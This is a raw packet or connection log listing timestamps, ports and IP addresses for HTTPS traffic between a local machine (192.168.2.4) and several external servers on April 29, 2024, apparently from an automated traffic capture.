Apr 29, 2024 02:01:24.106918097 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.106962919 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.106980085 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.106993914 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.107016087 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.108742952 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.108782053 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.108807087 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.108819008 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.108833075 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.110172033 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.110218048 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.110233068 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.110244036 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.110280991 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.112849951 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.112921953 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.113269091 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.113337994 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.114819050 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.114869118 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.114890099 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.114902020 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.114917994 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.115926981 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.115983963 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.116014004 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.116031885 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.116058111 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.116478920 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.116556883 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.116565943 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.116584063 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.116636038 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.116641998 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.118354082 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.118383884 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.118411064 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.118426085 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.118465900 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.120177031 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.120197058 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.120249987 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.120260000 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.121917963 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.121941090 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.121969938 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.121983051 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.121998072 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.122806072 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.122824907 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.122854948 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.122864962 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.122881889 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.125360966 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.125386000 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.125416994 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.125427008 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.125446081 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.126632929 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.126650095 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.126684904 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.126696110 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.126709938 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.136720896 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:24.150229931 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.150284052 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.150424957 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.150424957 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.150453091 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.151185989 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.151264906 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.151313066 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.151324987 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.151348114 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.152894020 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.152957916 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.152976036 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.152995110 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.153014898 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.154726028 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.154764891 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.154793024 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.154804945 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.154822111 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.156275988 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.156322002 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.156344891 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.156362057 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.156378984 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.158119917 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.158179045 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.158185005 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.158205986 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.158231974 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.159684896 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.159732103 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.159748077 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.159763098 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.159785032 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.160624027 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.160661936 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.160695076 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.160703897 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.160725117 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.162642002 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.162691116 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.162708044 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.162720919 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.162748098 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.164376020 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.164427996 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.164464951 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.164477110 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.164521933 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.166075945 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.166126013 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.166141033 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.166155100 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.166177034 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.167162895 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.167203903 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.167223930 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.167244911 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.167263985 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.168690920 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.168741941 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.168756962 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.168771982 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.168797016 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.170808077 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.170854092 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.170874119 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.170886040 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.170907974 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.171458960 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.171511889 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.171519995 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.171555042 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:24.171638012 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:24.171679020 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:25.254766941 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.254816055 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.254957914 CEST	49744	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:25.255009890 CEST	443	49744	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:25.255959034 CEST	443	49744	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:25.255970955 CEST	49743	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:25.256000042 CEST	443	49743	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:25.256422043 CEST	49742	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:25.256473064 CEST	443	49742	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:25.257127047 CEST	49744	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:25.257231951 CEST	443	49744	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:25.257513046 CEST	49744	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:25.260525942 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.260565996 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.260598898 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.304126024 CEST	443	49744	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:25.332508087 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.332820892 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.332927942 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.332943916 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.382992029 CEST	443	49744	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:25.383038998 CEST	443	49744	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:25.383063078 CEST	443	49744	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:25.383116007 CEST	49744	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:25.383151054 CEST	443	49744	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:25.383186102 CEST	49744	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:25.384767056 CEST	443	49744	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:25.384825945 CEST	443	49744	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:25.384865046 CEST	49744	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:25.434571981 CEST	49744	443	192.168.2.4	142.250.191.100
Apr 29, 2024 02:01:25.434606075 CEST	443	49744	142.250.191.100	192.168.2.4
Apr 29, 2024 02:01:25.438381910 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.447113991 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.447197914 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.447227955 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.447253942 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.447267056 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.447283030 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.447316885 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.447333097 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.447370052 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.450412035 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.453944921 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.454010963 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.454032898 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.457611084 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.457665920 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.457679987 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.461342096 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.461405993 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.461419106 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.483601093 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.483628988 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.483659029 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.483676910 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.483691931 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.483740091 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.483763933 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.483793020 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.483799934 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.483818054 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.537902117 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.565763950 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.565783024 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.565820932 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.565835953 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.565848112 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.565856934 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.565890074 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.565953016 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.584017992 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.584045887 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.584064960 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.584072113 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.584285021 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.584285021 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.584326029 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.584369898 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.597961903 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.597980022 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.598010063 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.598042011 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.598094940 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.598104000 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.598140955 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.601824999 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.601898909 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.601908922 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.601958990 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.671359062 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:25.706953049 CEST	49745	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:25.706993103 CEST	443	49745	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:25.796236992 CEST	49740	443	192.168.2.4	104.21.35.193
Apr 29, 2024 02:01:25.796266079 CEST	443	49740	104.21.35.193	192.168.2.4
Apr 29, 2024 02:01:31.796139002 CEST	49748	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:31.796205997 CEST	443	49748	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:31.796288967 CEST	49748	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:31.846379995 CEST	49748	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:31.846422911 CEST	443	49748	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:32.108453035 CEST	443	49748	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:32.108572006 CEST	49748	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:33.115561008 CEST	49748	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:33.115596056 CEST	443	49748	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:33.116024017 CEST	443	49748	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:33.226638079 CEST	49748	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:33.268125057 CEST	443	49748	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:33.371433020 CEST	443	49748	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:33.371500015 CEST	443	49748	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:33.371721029 CEST	49748	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:33.371948957 CEST	49748	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:33.371968985 CEST	443	49748	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:33.371980906 CEST	49748	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:33.371987104 CEST	443	49748	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:33.464867115 CEST	49749	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:01:33.464920044 CEST	443	49749	40.127.169.103	192.168.2.4
Apr 29, 2024 02:01:33.464988947 CEST	49749	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:01:33.473315001 CEST	49749	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:01:33.473351002 CEST	443	49749	40.127.169.103	192.168.2.4
Apr 29, 2024 02:01:33.512217045 CEST	49750	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:33.512309074 CEST	443	49750	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:33.512444973 CEST	49750	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:33.515367985 CEST	49750	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:33.515393972 CEST	443	49750	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:33.749068975 CEST	443	49750	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:33.749154091 CEST	49750	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:33.751194954 CEST	49750	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:33.751214027 CEST	443	49750	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:33.751534939 CEST	443	49750	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:33.753495932 CEST	49750	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:33.800131083 CEST	443	49750	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:33.972317934 CEST	443	49750	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:33.972400904 CEST	443	49750	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:33.972449064 CEST	49750	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:33.973301888 CEST	49750	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:33.973330021 CEST	443	49750	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:33.973345995 CEST	49750	443	192.168.2.4	104.78.251.135
Apr 29, 2024 02:01:33.973354101 CEST	443	49750	104.78.251.135	192.168.2.4
Apr 29, 2024 02:01:34.048206091 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.048253059 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.048317909 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.049031973 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.049050093 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.055453062 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.055497885 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.055557013 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.055989981 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.056003094 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.082482100 CEST	443	49749	40.127.169.103	192.168.2.4
Apr 29, 2024 02:01:34.082560062 CEST	49749	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:01:34.093693018 CEST	49749	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:01:34.093720913 CEST	443	49749	40.127.169.103	192.168.2.4
Apr 29, 2024 02:01:34.094243050 CEST	443	49749	40.127.169.103	192.168.2.4
Apr 29, 2024 02:01:34.138770103 CEST	49749	443	192.168.2.4	40.127.169.103
Apr 29, 2024 02:01:34.163781881 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.163827896 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.163887024 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.164335966 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.164381981 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.164453983 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.165126085 CEST	49755	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.165146112 CEST	443	49755	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.166547060 CEST	49756	443	192.168.2.4	104.18.11.207
Apr 29, 2024 02:01:34.166563988 CEST	443	49756	104.18.11.207	192.168.2.4
Apr 29, 2024 02:01:34.168803930 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.168827057 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.168874979 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.169307947 CEST	49759	443	192.168.2.4	104.17.24.14
Apr 29, 2024 02:01:34.169326067 CEST	443	49759	104.17.24.14	192.168.2.4
Apr 29, 2024 02:01:34.180969954 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.181020021 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.181092024 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.181833982 CEST	49760	443	192.168.2.4	199.36.158.100
Apr 29, 2024 02:01:34.181843042 CEST	443	49760	199.36.158.100	192.168.2.4
Apr 29, 2024 02:01:34.276092052 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.276343107 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.276362896 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.277344942 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.278251886 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.278531075 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.279010057 CEST	49751	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.280390024 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.280626059 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.280654907 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.281522989 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.281604052 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.285298109 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.285379887 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.286039114 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.286048889 CEST	443	49752	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.320120096 CEST	443	49751	151.101.2.137	192.168.2.4
Apr 29, 2024 02:01:34.362600088 CEST	49752	443	192.168.2.4	151.101.2.137
Apr 29, 2024 02:01:34.395570993 CEST	443	49755	104.18.11.207	192.168.2.4
